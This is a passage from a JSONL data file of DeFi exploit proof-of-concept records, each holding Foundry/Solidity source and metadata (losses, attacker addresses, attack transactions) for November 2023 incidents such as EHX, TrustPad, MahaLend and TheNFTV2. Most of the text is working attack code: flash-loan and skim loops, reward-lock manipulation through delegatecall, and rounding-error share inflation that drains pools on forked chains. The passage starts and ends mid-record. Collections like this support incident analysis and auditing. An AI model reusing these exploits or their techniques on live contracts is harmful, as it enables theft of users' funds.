router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n token9419.balanceOf(address(this)), 0, path, address(this), block.timestamp + 100\n );\n busd.transfer(dodo5, dodo5FlashLoanAmount);\n }\n }\n}\n\ncontract NewContract {\n function transferToken(address token, address destination) external {\n uint256 bal = I3913(token).balanceOf(address(this));\n I3913(token).transfer(destination, bal);\n }\n}\n", "type": "exploit_poc", "protocol": "3913", "date": "2023-11", "file_name": "3913_exp.sol", "attack_vector": "flash_loan", "content_hash": "fa737e928f3a2a05", "collected_at": "2026-01-07T10:59:16.536927", "_source": "postmortems", "chain": "bsc", "block_number": 33132467, "total_lost_raw": "~31,354 USD$", "total_lost_usd": 31.0, "attacker_address": "https://bscscan.com/tx/0xb29f18b89e56cc0151c7c17de0625a21018d8ae7", "attack_contract": "https://bscscan.com/address/0x783fbea45b32eaaa596b44412041dd1208025e83", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "~31,354 USD$", "category": "flash-loan", "exploit_code": "function testExploit() public {\n deal(address(busd), address(this), 0);\n emit log_named_decimal_uint(\n \"attacker balance busd before attack:\", busd.balanceOf(address(this)), busd.decimals()\n );\n dodo1FlashLoanAmount = busd.balanceOf(dodo1);\n IDodo(dodo1).flashLoan(0, dodo1FlashLoanAmount, address(this), new bytes(1));\n emit log_named_decimal_uint(\n \"attacker balance busd after attack:\", busd.balanceOf(address(this)), busd.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "https://bscscan.com/tx/0xb29f18b89e56cc0151c7c17de0625a21018d8ae7", "keyinfo_attack_contract": "https://bscscan.com/address/0x783fbea45b32eaaa596b44412041dd1208025e83", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$31", "content_richness_score": 8, "quality_estimate": "high", "title": "3913 Exploit (2023-11)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"./../basetest.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : Unclear\n// Attacker : https://bscscan.com/address/0xddaaedcf226729def824cc5c14382c5980844d1f\n// Attack Contract : https://bscscan.com/address/0x9d0d28f7b9a9e6d55abb9e41a87df133f316c68c\n// Vulnerable Contract : https://bscscan.com/address/0xe1747a23c44f445062078e3c528c9f4c28c50a51\n// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x8b528372b743b4b8c4eb0904c96529482653187c19e13afaa22f3ba4e08fbfbb\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xe1747a23c44f445062078e3c528c9f4c28c50a51#code#L1200\n\n// @Analysis\n// Post-mortem :\n// Twitter Guy : https://x.com/MetaSec_xyz/status/1724691996638618086\n// Hacking God :\n\ncontract EHXExploit is Test {\n DVM private constant DPPOracle = DVM(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);\n Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n Uni_Pair_V2 private constant EHX_WBNB = Uni_Pair_V2(0x3407c5398256cc242a7a22c373D9F252BaB37458);\n IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IERC20 private constant EHX = IERC20(0xe1747a23C44f445062078e3C528c9F4c28C50a51);\n\n uint256 private constant blocknumToForkFrom = 33_503_911;\n // Value comes from raw data passed to function with selector '0x40b2f80f' (see attack tx)\n uint256 private constant flashAmountWBNB = 5_589_328_092_301_986_679;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n vm.label(address(DPPOracle), \"DPPOracle\");\n vm.label(address(Router), \"Router\");\n vm.label(address(EHX_WBNB), \"EHX_WBNB\");\n vm.label(address(WBNB), \"WBNB\");\n vm.label(address(EHX), \"EHX\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\n \"Exploiter WBNB balance before attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n\n DPPOracle.flashLoan(flashAmountWBNB, 0, address(this), bytes(\"_\"));\n\n emit log_named_decimal_uint(\n \"Exploiter WBNB balance after attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n WBNB.approve(address(Router), type(uint256).max);\n WBNBToEHX();\n uint256 amountEHXToTransfer = EHX.balanceOf(address(this)) / (300e6);\n uint256 i;\n // More iterations possible\n while (i < 2000) {\n EHX.transfer(address(EHX_WBNB), amountEHXToTransfer);\n EHX_WBNB.skim(address(this));\n ++i;\n }\n EHX.approve(address(Router), type(uint256).max);\n EHXToWBNB();\n WBNB.transfer(address(DPPOracle), baseAmount);\n }\n\n function WBNBToEHX() private {\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(EHX);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000\n );\n }\n\n function EHXToWBNB() private {\n address[] memory path = new address[](2);\n path[0] = address(EHX);\n path[1] = address(WBNB);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n EHX.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000\n );\n }\n}\n", "type": "exploit_poc", "protocol": "EHX", "date": "2023-11", "file_name": "EHX_exp.sol", "attack_vector": "flash_loan", "content_hash": "b401518df388d8fa", "collected_at": "2026-01-07T10:59:16.536987", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "Unclear", "total_lost_usd": null, "attacker_address": "https://bscscan.com/address/0xddaaedcf226729def824cc5c14382c5980844d1f", "attack_contract": "https://bscscan.com/address/0x9d0d28f7b9a9e6d55abb9e41a87df133f316c68c", "vulnerable_contract": "https://bscscan.com/address/0xe1747a23c44f445062078e3c528c9f4c28c50a51", "attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x8b528372b743b4b8c4eb0904c96529482653187c19e13afaa22f3ba4e08fbfbb", "postmortem_url": null, "twitter_url": "https://x.com/MetaSec_xyz/status/1724691996638618086", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "Unclear", "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\n \"Exploiter WBNB balance before attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n\n DPPOracle.flashLoan(flashAmountWBNB, 0, address(this), bytes(\"_\"));\n\n emit log_named_decimal_uint(\n \"Exploiter WBNB balance after attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "Unclear", "keyinfo_attacker": "https://bscscan.com/address/0xddaaedcf226729def824cc5c14382c5980844d1f", "keyinfo_attack_contract": "https://bscscan.com/address/0x9d0d28f7b9a9e6d55abb9e41a87df133f316c68c", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xe1747a23c44f445062078e3c528c9f4c28c50a51", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x8b528372b743b4b8c4eb0904c96529482653187c19e13afaa22f3ba4e08fbfbb", "analysis_postmortem": "", "analysis_twitter": "https://x.com/MetaSec_xyz/status/1724691996638618086", "funds_lost_formatted": "Unknown", "content_richness_score": 7.77, "quality_estimate": "medium", "title": "EHX Exploit (2023-11)", "has_total_lost": false, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$155K\n// Attacker : https://bscscan.com/address/0x1a7b15354e2f6564fcf6960c79542de251ce0dc9\n// Attack Contract : https://bscscan.com/address/0x1694d7fabf3b28f11d65deeb9f60810daa26909a\n// Vuln Contract : https://bscscan.com/address/0xe613c058701c768e0d04d1bf8e6a6dc1a0c6d48a\n// Swap BNB To TPAD Tx : https://explorer.phalcon.xyz/tx/bsc/0x2490368b43951caa8bf6f730bf0aaa0bcc2657d6f64fdcc3b0372b6500d0dcfc\n// Attack Tx : https://explorer.phalcon.xyz/tx/bsc/0x191a34e6c0780c3d1ab5c9bc04948e231d742b7d88e0e4f85568d57fcdc03182\n// Withdraw Tx : https://explorer.phalcon.xyz/tx/bsc/0xea5bb62b8a151917a732d4114d716c7e6c087af8b3c0b3416c9dbc37c59f04da\n\n// @Analysis\n// https://twitter.com/BeosinAlert/status/1721800306101793188\n\n// In this PoC I want to demonstrate the attack described by Beosin (see above link)\n// Exploiter repeated the following process multiple times\n\ninterface ILaunchpadLockableStaking {\n function receiveUpPool(address account, uint256 amount) external;\n\n function withdraw(\n uint256 amount\n ) external;\n\n function userInfo(\n address\n )\n external\n view\n returns (\n uint256 amount,\n uint256 rewardDebt,\n uint256 pendingRewards,\n uint256 lastStakedAt,\n uint256 lastUnstakedAt\n );\n\n function lockPeriod() external view returns (uint256);\n\n function stakePendingRewards() external;\n}\n\ncontract ContractTest is Test {\n ILaunchpadLockableStaking private constant LaunchpadLockableStaking =\n ILaunchpadLockableStaking(0xE613c058701C768E0d04D1bf8e6a6dc1a0C6d48A);\n IERC20 private constant TPAD = IERC20(0xADCFC6bf853a0a8ad7f9Ff4244140D10cf01363C);\n IERC20 private constant DDD = IERC20(0x2e1FC745937a44ae8313bC889EE023ee303F2488);\n IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n address private constant TrustPadProtocolExploiter = 0x1a7b15354e2F6564fcf6960c79542DE251cE0dC9;\n HelperContract helperContract;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 33_260_104);\n vm.label(address(LaunchpadLockableStaking), \"LaunchpadLockableStaking\");\n vm.label(address(TPAD), \"TPAD\");\n vm.label(address(DDD), \"DDD\");\n vm.label(address(WBNB), \"WBNB\");\n vm.label(address(Router), \"Router\");\n }\n\n function testExploit() public {\n deal(address(this), 0.02 ether);\n // Getting TPAD amount\n WBNBToTPAD();\n // Jump to time when attack was happened\n vm.roll(33_260_391);\n uint256 startBalanceTPAD = TPAD.balanceOf(address(this));\n\n // Approve all DDD tokens from original exploiter to this attack contract\n vm.prank(TrustPadProtocolExploiter);\n DDD.approve(address(this), type(uint256).max);\n\n helperContract = new HelperContract();\n emit log_named_decimal_uint(\n \"Exploiter's helper contract TPAD balance before attack\",\n TPAD.balanceOf(address(helperContract)),\n TPAD.decimals()\n );\n\n (bool success,) = address(helperContract).delegatecall(\n abi.encodeWithSignature(\"deposit(address,uint256,uint256)\", address(LaunchpadLockableStaking), 30, 1)\n );\n require(success, \"Delegatecall to deposit not successfully\");\n\n assertEq(TPAD.balanceOf(address(this)), startBalanceTPAD - 1);\n\n // Jump to time when rewards were withdrew\n vm.roll(33_260_396);\n\n success = false;\n (success,) = address(helperContract).delegatecall(\n abi.encodeWithSignature(\"withdraw(address,uint256)\", address(LaunchpadLockableStaking), 0)\n );\n require(success, \"Delegatecall to withdraw not successfully\");\n\n emit log_named_decimal_uint(\n \"Exploiter's helper contract TPAD balance after attack\",\n TPAD.balanceOf(address(helperContract)),\n TPAD.decimals()\n );\n }\n\n function WBNBToTPAD() internal {\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(TPAD);\n uint256[] memory amounts = Router.getAmountsOut(20e15, path);\n Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: 0.02 ether}(\n (amounts[1] * 9) / 10, path, address(this), block.timestamp\n );\n }\n\n function isLocked(\n address account\n ) external pure returns (bool) {\n return true;\n }\n\n function depositLockStart(\n address addr\n ) external returns (uint256) {\n (bool success,) =\n address(helperContract).delegatecall(abi.encodeWithSignature(\"depositLockStart(address)\", addr));\n require(success, \"Delegatecall to depositLockStart failed\");\n }\n}\n\ncontract HelperContract is Test {\n IERC20 private constant DDD = IERC20(0x2e1FC745937a44ae8313bC889EE023ee303F2488);\n IERC20 private constant TPAD = IERC20(0xADCFC6bf853a0a8ad7f9Ff4244140D10cf01363C);\n address private constant TrustPadProtocolExploiter = 0x1a7b15354e2F6564fcf6960c79542DE251cE0dC9;\n ILaunchpadLockableStaking private LaunchpadLockableStaking;\n uint256 private _depositLockStart;\n\n function deposit(address _for, uint256 _pid, uint256 _amount) external {\n LaunchpadLockableStaking = ILaunchpadLockableStaking(_for);\n DDD.transferFrom(TrustPadProtocolExploiter, address(this), 1);\n require(_depositLockStart == uint256(0), \"Deposit lock should be false at begining\");\n TPAD.approve(address(LaunchpadLockableStaking), type(uint256).max);\n uint256 withdrawAmount = TPAD.balanceOf(address(this));\n\n // Exploit start\n uint8 i;\n while (i < _pid) {\n LaunchpadLockableStaking.receiveUpPool(address(this), withdrawAmount);\n LaunchpadLockableStaking.withdraw(withdrawAmount);\n ++i;\n }\n\n _depositLockStart = 1;\n LaunchpadLockableStaking.receiveUpPool(address(this), 1);\n _depositLockStart = 0;\n\n LaunchpadLockableStaking.stakePendingRewards();\n // Exploit end\n\n // Verifying manipulation\n require((withdrawAmount - _amount) == TPAD.balanceOf(address(this)));\n }\n\n function depositLockStart(\n address addr\n ) external returns (uint256) {\n uint256 start;\n if (_depositLockStart != uint256(0)) {\n uint256 lockPeriod = LaunchpadLockableStaking.lockPeriod();\n start = (block.timestamp - lockPeriod) + 1;\n } else {\n start = 1;\n }\n return start;\n }\n\n function withdraw(address _token, uint256 _amount) external {\n DDD.transferFrom(TrustPadProtocolExploiter, address(this), 1);\n uint256 amountToWithdraw;\n if (_amount == 0) {\n (uint256 amount,,,,) = LaunchpadLockableStaking.userInfo(address(this));\n amountToWithdraw = amount;\n emit log_uint(amount);\n } else {\n amountToWithdraw = TPAD.balanceOf(address(this));\n }\n LaunchpadLockableStaking.withdraw(amountToWithdraw);\n }\n}\n", "type": "exploit_poc", "protocol": "TrustPad", "date": "2023-11", "file_name": "TrustPad_exp.sol", "attack_vector": null, "content_hash": "9fa3070198aa12d9", "collected_at": "2026-01-07T10:59:16.537051", "_source": "postmortems", "chain": "bsc", "block_number": 33260104, "total_lost_raw": "~$155K", "total_lost_usd": 155000.0, "attacker_address": "https://bscscan.com/address/0x1a7b15354e2f6564fcf6960c79542de251ce0dc9", "attack_contract": "https://bscscan.com/address/0x1694d7fabf3b28f11d65deeb9f60810daa26909a", "vulnerable_contract": null, "attack_tx": "https://explorer.phalcon.xyz/tx/bsc/0x191a34e6c0780c3d1ab5c9bc04948e231d742b7d88e0e4f85568d57fcdc03182", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "~$155K", "category": "unknown", "exploit_code": "function testExploit() public {\n deal(address(this), 0.02 ether);\n // Getting TPAD amount\n WBNBToTPAD();\n // Jump to time when attack was happened\n vm.roll(33_260_391);\n uint256 startBalanceTPAD = TPAD.balanceOf(address(this));\n\n // Approve all DDD tokens from original exploiter to this attack contract\n vm.prank(TrustPadProtocolExploiter);\n DDD.approve(address(this), type(uint256).max);\n\n helperContract = new HelperContract();\n emit log_named_decimal_uint(\n \"Exploiter's helper contract TPAD balance before attack\",\n TPAD.balanceOf(address(helperContract)),\n TPAD.decimals()\n );\n\n (bool success,) = address(helperContract).delegatecall(\n abi.encodeWithSignature(\"deposit(address,uint256,uint256)\", address(LaunchpadLockableStaking), 30, 1)\n );\n require(success, \"Delegatecall to deposit not successfully\");\n\n assertEq(TPAD.balanceOf(address(this)), startBalanceTPAD - 1);\n\n // Jump to time when rewards were withdrew\n vm.roll(33_260_396);\n\n success = false;\n (success,) = address(helperContract).delegatecall(\n abi.encodeWithSignature(\"withdraw(address,uint256)\", address(LaunchpadLockableStaking), 0)\n );\n require(success, \"Delegatecall to withdraw not successfully\");\n\n emit log_named_decimal_uint(\n \"Exploiter's helper contract TPAD balance after attack\",\n TPAD.balanceOf(address(helperContract)),\n TPAD.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$155K", "keyinfo_attacker": "https://bscscan.com/address/0x1a7b15354e2f6564fcf6960c79542de251ce0dc9", "keyinfo_attack_contract": "https://bscscan.com/address/0x1694d7fabf3b28f11d65deeb9f60810daa26909a", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://explorer.phalcon.xyz/tx/bsc/0x191a34e6c0780c3d1ab5c9bc04948e231d742b7d88e0e4f85568d57fcdc03182", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$155.0K", "content_richness_score": 8, "quality_estimate": "high", "title": "TrustPad Exploit (2023-11)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~20K USD$\n// Attacker : https://etherscan.io/address/0x0ec330df28ae6106a774d0add3e540ea8d226e3b\n// Attack Contract : https://etherscan.io/address/0xf5836e292f716a7979f9bc5c2d3ed59913e07962\n// Vulnerable Contract : https://etherscan.io/address/0xfd11aba71c06061f446ade4eec057179f19c23c4\n// Attack Tx :https://etherscan.io/tx/0x2881e839d4d562fad5356183e4f6a9d427ba6f475614ce8ef64dbfe557a4a2cc\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0xfd11aba71c06061f446ade4eec057179f19c23c4#code\n\n// @Analysis\n// Twitter Guy : https://twitter.com/Phalcon_xyz/status/1723223766350832071\n\ncontract ContractTest is Test {\n IERC20 ARTH = IERC20(0x8CC0F052fff7eaD7f2EdCCcaC895502E884a8a71);\n IAaveFlashloan MahaLend = IAaveFlashloan(0x76F0C94Ced5B48020bf0D7f3D0CEabC877744cB5);\n IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n address mARTH = 0xE6B683868D1C168Da88cfe5081E34d9D80E4D1a6;\n address mUSDC = 0x658b0f629B9e3753AA555C189D0cB19C1eD59632;\n uint256 nonce;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 18_544_604);\n vm.label(address(ARTH), \"ARTH\");\n vm.label(address(USDC), \"USDC\");\n vm.label(address(MahaLend), \"MahaLend\");\n vm.label(address(Balancer), \"Balancer\");\n }\n\n function testExploit() external {\n USDC.approve(address(MahaLend), type(uint256).max);\n address[] memory tokens = new address[](1);\n tokens[0] = address(USDC);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = USDC.balanceOf(address(Balancer));\n bytes memory userData = \"\";\n Balancer.flashLoan(address(this), tokens, amounts, userData);\n\n emit log_named_decimal_uint(\n \"Attacker ARTH balance after exploit\", ARTH.balanceOf(address(this)), ARTH.decimals()\n );\n }\n\n function receiveFlashLoan(\n address[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n uint256 depositAmount = 1_160_272_591_443;\n MahaLend.supply(address(USDC), depositAmount, address(this), 0);\n\n address[] memory assets = new address[](1);\n assets[0] = address(USDC);\n uint256[] memory amount = new uint256[](1);\n amount[0] = depositAmount;\n uint256[] memory modes = new uint256[](1);\n modes[0] = 0;\n MahaLend.flashLoan(address(this), assets, amount, modes, address(this), \"\", 0);\n\n for (uint256 i; i < 54; ++i) {\n MahaLend.flashLoan(address(this), assets, amount, modes, address(this), \"\", 0);\n }\n\n uint256 borrowAmount = ARTH.balanceOf(address(mARTH));\n MahaLend.borrow(address(ARTH), borrowAmount, 2, 0, address(this));\n\n // recoverFund recoverfund = new recoverFund();\n // USDC.transfer(address(recoverfund), USDC.balanceOf(address(this)));\n // recoverfund.recoverDonatedFund();\n recoverDonatedFund();\n\n USDC.transfer(address(Balancer), amounts[0]);\n }\n\n function executeOperation(\n address[] calldata asset,\n uint256[] calldata amount,\n uint256[] calldata premium,\n address initiator,\n bytes calldata params\n ) external returns (bool) {\n if (nonce == 0) {\n uint256 depositAmount = amount[0];\n USDC.transfer(address(mUSDC), depositAmount); // donate USDC as flashloan fund to inflate index\n MahaLend.withdraw(address(USDC), depositAmount - 1, address(this)); // manipulate totalSupply to 1\n nonce++;\n }\n return true;\n }\n\n function recoverDonatedFund() internal {\n uint256 premiumPerFlashloan = uint256(1_160_272_591_443) * 5 / 10_000 + 1; // 0.05% flashlaon fee\n premiumPerFlashloan -= (premiumPerFlashloan * 4 / 10_000); // 0.04% protocol fee\n uint256 nextLiquidityIndex = premiumPerFlashloan * 55 + 1; // 55 times flashloan\n uint256 supplyAmount = nextLiquidityIndex / 2 + 1; // Use a rounding error greater than 0.5 for upward rounding and less than downward rounding\n\n console.log(\"premiumPerFlashloan\", premiumPerFlashloan);\n console.log(\"nextLiquidityIndex\", nextLiquidityIndex);\n console.log(\"supplyAmount\", supplyAmount);\n\n uint256 count;\n USDC.approve(address(MahaLend), type(uint256).max);\n do {\n MahaLend.supply(address(USDC), supplyAmount, address(this), 0); // supply 50% asset of 1 share, but mint 1 share throungh rounding error\n count++;\n } while (USDC.balanceOf(address(mUSDC)) > count * nextLiquidityIndex);\n\n MahaLend.withdraw(address(USDC), USDC.balanceOf(address(mUSDC)), address(this)); // withdraw all asset\n }\n}\n", "type": "exploit_poc", "protocol": "MahaLend", "date": "2023-11", "file_name": "MahaLend_exp.sol", "attack_vector": "flash_loan", "content_hash": "2d19775d4c8c6f80", "collected_at": "2026-01-07T10:59:16.537112", "_source": "postmortems", "chain": "ethereum", "block_number": 18544604, "total_lost_raw": "~20K USD$", "total_lost_usd": 20000.0, "attacker_address": "https://etherscan.io/address/0x0ec330df28ae6106a774d0add3e540ea8d226e3b", "attack_contract": "https://etherscan.io/address/0xf5836e292f716a7979f9bc5c2d3ed59913e07962", "vulnerable_contract": "https://etherscan.io/address/0xfd11aba71c06061f446ade4eec057179f19c23c4", "attack_tx": "https://etherscan.io/tx/0x2881e839d4d562fad5356183e4f6a9d427ba6f475614ce8ef64dbfe557a4a2cc", "postmortem_url": null, "twitter_url": "https://twitter.com/Phalcon_xyz/status/1723223766350832071", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "~20K USD$", "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~20K USD$", "keyinfo_attacker": "https://etherscan.io/address/0x0ec330df28ae6106a774d0add3e540ea8d226e3b", "keyinfo_attack_contract": "https://etherscan.io/address/0xf5836e292f716a7979f9bc5c2d3ed59913e07962", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xfd11aba71c06061f446ade4eec057179f19c23c4", "keyinfo_attack_tx": "https://etherscan.io/tx/0x2881e839d4d562fad5356183e4f6a9d427ba6f475614ce8ef64dbfe557a4a2cc", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/Phalcon_xyz/status/1723223766350832071", "funds_lost_formatted": "$20.0K", "content_richness_score": 7.49, "quality_estimate": "medium", "title": "MahaLend Exploit (2023-11)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~19K USD$\n// Attacker - https://etherscan.io/address/0x2F746bC70f72aAF3340B8BbFd254fd91a3996218\n// Attack contract - https://etherscan.io/address/0x85301f7b943fd132c8dbc33f8fd9d77109a84f28\n// Attack Tx : https://etherscan.io/tx/0xd5b4d68432cbbd912130bbb5b93399031ddbb400d8f723c78050574de7533106\n\n// @Analysis - https://x.com/MetaTrustAlert/status/1728616715825848377?s=20\ncontract TheNFTV2Test is Test {\n IERC721 THENFTV2 = IERC721(0x79a7D3559D73EA032120A69E59223d4375DEb595);\n IERC20 TheDAO = IERC20(0xBB9bc244D798123fDe783fCc1C72d3Bb8C189413);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IUniswapV2Pair uniswap = IUniswapV2Pair(0xE1eCaDb5FEC254c2c893C230b935Db30b8FfF0db);\n uint256 constant nftId = 1071;\n address hacker = 0x85301f7b943fd132c8dBc33f8FD9d77109A84f28;\n address deadaddress = 0x000000000000000000000000000000000074eda0;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 18_647_450);\n vm.label(address(WETH), \"WETH\");\n vm.label(address(THENFTV2), \"THENFTV2\");\n vm.label(address(uniswap), \"Uniswap Pair\");\n vm.label(address(TheDAO), \"TheDAO\");\n }\n\n function test() public {\n address[] memory assets = new address[](1);\n assets[0] = address(WETH);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 80_000 * 1e18;\n uint256[] memory modes = new uint256[](1);\n modes[0] = 0;\n\n emit log_named_decimal_uint(\"[Start] Attacker ETH Balance\", WETH.balanceOf(address(this)), WETH.decimals());\n\n uint256 balanceBefore = address(this).balance;\n vm.prank(hacker);\n THENFTV2.transferFrom(address(hacker), address(this), nftId);\n\n uniswap.swap(0, 1_906_331_836_125_411_716, address(this), new bytes(1));\n uint256 balanceAfter = address(this).balance;\n assert(balanceAfter > balanceBefore);\n\n emit log_named_decimal_uint(\"Attacker ETH balance after exploit\", address(this).balance, 0);\n }\n\n function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n (uint256 thedaoReserve, uint256 wethReserve,) = uniswap.getReserves();\n emit log_named_uint(\"k0:\", thedaoReserve * wethReserve);\n uint256 amountOut = amount1;\n uint256 amountIn = getAmountIn(amountOut, thedaoReserve, wethReserve);\n emit log_named_uint(\"amountIn\", amountIn);\n\n do {\n THENFTV2.approve(address(this), nftId);\n THENFTV2.burn(nftId);\n THENFTV2.transferFrom(deadaddress, address(this), nftId);\n } while (TheDAO.balanceOf(address(this)) < amountIn);\n TheDAO.transfer(address(uniswap), TheDAO.balanceOf(address(this)));\n WETH.withdraw(WETH.balanceOf(address(this)));\n }\n\n function getAmountIn(\n uint256 amountOut,\n uint256 reserveIn,\n uint256 reserveOut\n ) internal pure returns (uint256 amountIn) {\n require(amountOut > 0, \"UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT\");\n require(reserveIn > 0 && reserveOut > 0, \"UniswapV2Library: INSUFFICIENT_LIQUIDITY\");\n uint256 numerator = reserveIn * amountOut * (1000);\n uint256 denominator = (reserveOut - amountOut) * (997);\n amountIn = (numerator / denominator) + (1);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "TheNFTV2", "date": "2023-11", "file_name": "TheNFTV2_exp.sol", "attack_vector": null, "content_hash": "f8e269582f0e80e0", "collected_at": "2026-01-07T10:59:16.537172", "_source": "postmortems", "chain": "ethereum", "block_number": 18647450, "total_lost_raw": "~19K USD$", "total_lost_usd": 19000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://etherscan.io/tx/0xd5b4d68432cbbd912130bbb5b93399031ddbb400d8f723c78050574de7533106", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "~19K USD$", "category": "unknown", "exploit_code": "function test() public {\n address[] memory assets = new address[](1);\n assets[0] = address(WETH);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 80_000 * 1e18;\n uint256[] memory modes = new uint256[](1);\n modes[0] = 0;\n\n emit log_named_decimal_uint(\"[Start] Attacker ETH Balance\", WETH.balanceOf(address(this)), WETH.decimals());\n\n uint256 balanceBefore = address(this).balance;\n vm.prank(hacker);\n THENFTV2.transferFrom(address(hacker), address(this), nftId);\n\n uniswap.swap(0, 1_906_331_836_125_411_716, address(this), new bytes(1));\n uint256 balanceAfter = address(this).balance;\n assert(balanceAfter > balanceBefore);\n\n emit log_named_decimal_uint(\"Attacker ETH balance after exploit\", address(this).balance, 0);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~19K USD$", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://etherscan.io/tx/0xd5b4d68432cbbd912130bbb5b93399031ddbb400d8f723c78050574de7533106", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$19.0K", "content_richness_score": 6.72, "quality_estimate": "medium", "title": "TheNFTV2 Exploit (2023-11)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport \"forge-std/Test.sol\";\n\n// @KeyInfo - Total Lost : ~$31K\n// Attacker : https://bscscan.com/address/0xb9bdc2537c6f4b587a5c81a67e7e3a4e6ddda189\n// Attack Contract : https://bscscan.com/address/0xda148143379ae54e06d2429a5c80b19d4a9d6734\n// Vulnerable Contract : https://bscscan.com/address/0x13b1f2e227ca6f8e08ac80368fd637f5084f10a5\n// Attack Tx : https://explorer.phalcon.xyz/tx/bsc/0x75a26224da9faf37c2b3a4a634a096af7fec561f631a02c93e11e4a19d159477\n\ninterface IDPPOracle {\n function flashLoan(uint256 baseAmount, uint256 quoteAmount, address _assetTo, bytes calldata data) external;\n}\n\ninterface IERC20 {\n function approve(address spender, uint256 amount) external returns (bool);\n function transfer(address to, uint256 value) external returns (bool);\n function balanceOf(\n address\n ) external view returns (uint256);\n}\n\ninterface IWBNB is IERC20 